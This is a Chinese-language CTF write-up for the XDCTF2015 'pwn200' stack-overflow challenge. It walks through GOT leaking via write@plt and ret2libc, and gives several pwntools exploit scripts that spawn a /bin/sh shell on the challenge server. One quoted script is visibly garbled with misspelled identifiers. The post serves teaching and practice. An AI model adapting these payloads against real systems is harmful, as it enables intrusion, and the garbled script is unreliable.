Post

UnknownCTF - pwn200

0x1 尝试泄漏got表 - ver1

1
2
3
4
5
6
7
pwndbg> checksec
File:     /ctf/xctf/pwn200/pwn200
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main()
{
  char v1[108]; // [esp+2Ch] [ebp-6Ch] BYREF

  strcpy(v1, "Welcome to XDCTF2015~!\n");
  memset(&v1[24], 0, 0x4Cu);
  setbuf(stdout, v1);
  write(1, v1, strlen(v1));
  sub_8048484();
  return 0;
}
1
2
3
4
5
6
7
int sub_8048484()
{
  char v1[108]; // [esp+1Ch] [ebp-6Ch] BYREF

  setbuf(stdin, v1);
  return read(0, v1, 256);
}

存在栈溢出漏洞。而且程序中存在read@plt和write@plt,我的第一想法是通过write@plt进行got表泄漏。

Disassembly of section .plt:

08048370 <setbuf@plt-0x10>:
 8048370:	ff 35 f8 9f 04 08    	push   0x8049ff8
 8048376:	ff 25 fc 9f 04 08    	jmp    *0x8049ffc
 804837c:	00 00                	add    %al,(%eax)
	...

08048380 <setbuf@plt>:
 8048380:	ff 25 00 a0 04 08    	jmp    *0x804a000
 8048386:	68 00 00 00 00       	push   $0x0
 804838b:	e9 e0 ff ff ff       	jmp    8048370 <setbuf@plt-0x10>

08048390 <read@plt>:
 8048390:	ff 25 04 a0 04 08    	jmp    *0x804a004
 8048396:	68 08 00 00 00       	push   $0x8
 804839b:	e9 d0 ff ff ff       	jmp    8048370 <setbuf@plt-0x10>

080483a0 <__gmon_start__@plt>:
 80483a0:	ff 25 08 a0 04 08    	jmp    *0x804a008
 80483a6:	68 10 00 00 00       	push   $0x10
 80483ab:	e9 c0 ff ff ff       	jmp    8048370 <setbuf@plt-0x10>

080483b0 <__libc_start_main@plt>:
 80483b0:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 80483b6:	68 18 00 00 00       	push   $0x18
 80483bb:	e9 b0 ff ff ff       	jmp    8048370 <setbuf@plt-0x10>

080483c0 <write@plt>:
 80483c0:	ff 25 10 a0 04 08    	jmp    *0x804a010
 80483c6:	68 20 00 00 00       	push   $0x20
 80483cb:	e9 a0 ff ff ff       	jmp    8048370 <setbuf@plt-0x10>

其中的plt字段结构都是先对于一个地址解引用(获得got地址),然后jmp到真正的函数位置。而由于程序关闭了PIE, got表的位置是固定的,可以尝试用write泄漏

但是通过ROPgadget寻找了好一会儿,没有找到合适的pop gadget,后来突然想到,这似乎是32位程序,参数是存在栈上的,乐…

这次把以前关于“覆盖rbp”的问题也想清楚了。当进入一个函数的时候,一般前两条指令是:

push    rbp
mov     rbp, rsp

也就是说,原来的rbp值对于函数执行并没有什么用。当函数执行结束后,即使pop rbp填充的是我们写的随机数,也不会对后续的执行逻辑产生影响。 至于最后将mov rsp, rbp(包含在leave中)的指令:

leave
retn

只是把“当前的rbp寄存器”赋给rsp,这并不会被我们填写的栈上值影响。所以我们在栈溢出的时候可以不用管rbp的值

第一个版本(有多处错误)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

#p = remote('61.147.171.103', 51262)
p = process('./pwn200')
a = p.recvline()

read_plt = 0x8048390
write_plt = 0x80483c0
main_normal = 0x8048564 

setbuf_got = 0x804a000
read_got = 0x804a004
gmon_start_got = 0x804a008
libc_start_main_got = 0x804a00c
write_got = 0x804a010

def leak_got(addr):
    return p32(write_plt) + p32(1) + p32(addr) + p32(4)
b = input()
payload = b'A' * 0x6C + p32(0x0) + leak_got(read_got) + leak_got(write_got) + p32(main_normal)
p.sendline(payload)
a = p.recvall()
print(a.hex())

b = input()是为了方便attach到pwndbg中。

然而运行后一直异常退出,也没有想要的结果,看来必须调试了。

刚开始,栈上的三个参数按照“预期”排列

1
2
3
00:0000│ esp 0xffbaf880 ◂— 0
01:0004│     0xffbaf884 —▸ 0x804a004 (read@got[plt]) —▸ 0xf7ddbff0 (read) ◂— endbr32 
02:0008│     0xffbaf888 ◂— 4

可是跟踪了几步,发现原本栈上的第一个参数似乎被擦去了(而且这个时候我才注意到stdout应该写1,但是我却习惯性写成了stdin=0)

1
2
3
00:0000│ esp 0xffbaf850 —▸ 0xf7ddd140 (write+32) ◂— add esp, 0x2c
01:0004│     0xffbaf854 —▸ 0x804a004 (read@got[plt]) —▸ 0xf7ddbff0 (read) ◂— endbr32 
02:0008│     0xffbaf858 ◂— 4

而且这些过程是在read函数中的“外层”,还没有涉及到内部的系统调用时,就已经擦去了。又研究了一下执行流程,才发现问题:

  • 正常call xxx@plt之前,让 [esp] 放置第一个参数是正确的;但是 call 的过程会压入 ret addr, 也就是说进入函数的时候第一个参数是在 [esp+4]位置,而自己构造的时候,是连续构造的,导致错位。而中间这4字节的填充决定了完成函数调用后回到哪里。

如果想要再次执行,不能直接将这里填成write@plt的地址,因为这样第二次调用的参数将不可避免地与第一次重叠。 但是我们可以返回读取逻辑之前,再进行一次bof

ver2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p = remote('61.147.171.103', 51262)
#p = process('./pwn200')
a = p.recvline()

read_plt = 0x8048390
write_plt = 0x80483c0
again = 0x8048484

setbuf_got = 0x804a000
read_got = 0x804a004
gmon_start_got = 0x804a008
libc_start_main_got = 0x804a00c
write_got = 0x804a010

def leak_got(addr):
    return p32(write_plt) + p32(again) + p32(1) + p32(addr) + p32(4)
b = input()
payload = b'A' * 0x6C + p32(0x0) + leak_got(read_got)
p.sendline(payload)
a = p.recv()
print(hex(u32(a)))

payload = b'A' * 0x6C + p32(0x0) + leak_got(write_got)
p.sendline(payload)
a = p.recv()
print(hex(u32(a)))

这里接受的时候,recv可以很好的执行 然而这里泄漏的地址在libc database中搜不到

wr - got

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import * 
p=remote('111.200.241.244',49428) 
context(arch='1386',os='linux',log_level=' debug')
offset=0x70 
e=ELF('./pwn200')
print('pid'+str(proc.ptdof(p))) 
write_plt = e.plt['write'] 
write_got = e.got['write'] 
main_addr=0x080484BE
payload1=offset*'A'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(8) 
p.sendlineafter('Welcome to XDCTF2015-1\n',payload1) 
write_addr=u32(p.recv(4))
print(write_addr)
obj=LtbcSearcher('write', write_addr)
libc_base=write_addr-obj.dump('write')
sys_addr=libc_base+obj.dump('system')
bin_sh_addr=libc_base+obj.dump('str_bin_sh')
payload2=offset* 'A' +p32(sys_addr)+p32(0)+p32 (btn_sh_addr) 
p.sendlineafter ('Welcome to XDCTF2015-!\n',payload2) 

p.interactive()

其中用到了LibcSearcher这个工具

https://github.com/lieanu/LibcSearcher# 仓库中说的原理是比较地址的后12比特

wr - DynElf

还有一些题解使用的是pwntool的dynelf功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn200')
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x0804856c

def leak(address):
    payload = b'A' * 0x6C + b'9527' + p32(write_plt) + p32(0x080483D0) + p32(1) + p32(address) + p32(4)
    p.sendlineafter('Welcome to XDCTF2015~!\n', payload)
    data = p.recv(4)
    return data

if len(sys.argv) < 2:
    p = process('./pwn200')
    context.log_level = 'debug'
else:
    p = remote(sys.argv[1], int(sys.argv[2]))
if __name__ == '__main__':
    d = DynELF(leak, elf=ELF('./pwn200'))
    sys_addr = d.lookup('__libc_system','libc')
    bss_addr = elf.bss()
    log.success('__libc_system => ' + hex(sys_addr))
    payload = b'A' * 0x6C + b'9527'
    payload += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss_addr) + p32(8)
    payload += p32(sys_addr) + b'9527' + p32(bss_addr)
    p.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)
    p.sendline(b'/bin/sh')
    p.interactive()     

https://docs.pwntools.com/en/stable/dynelf.html#

This post is licensed under CC BY 4.0 by the author.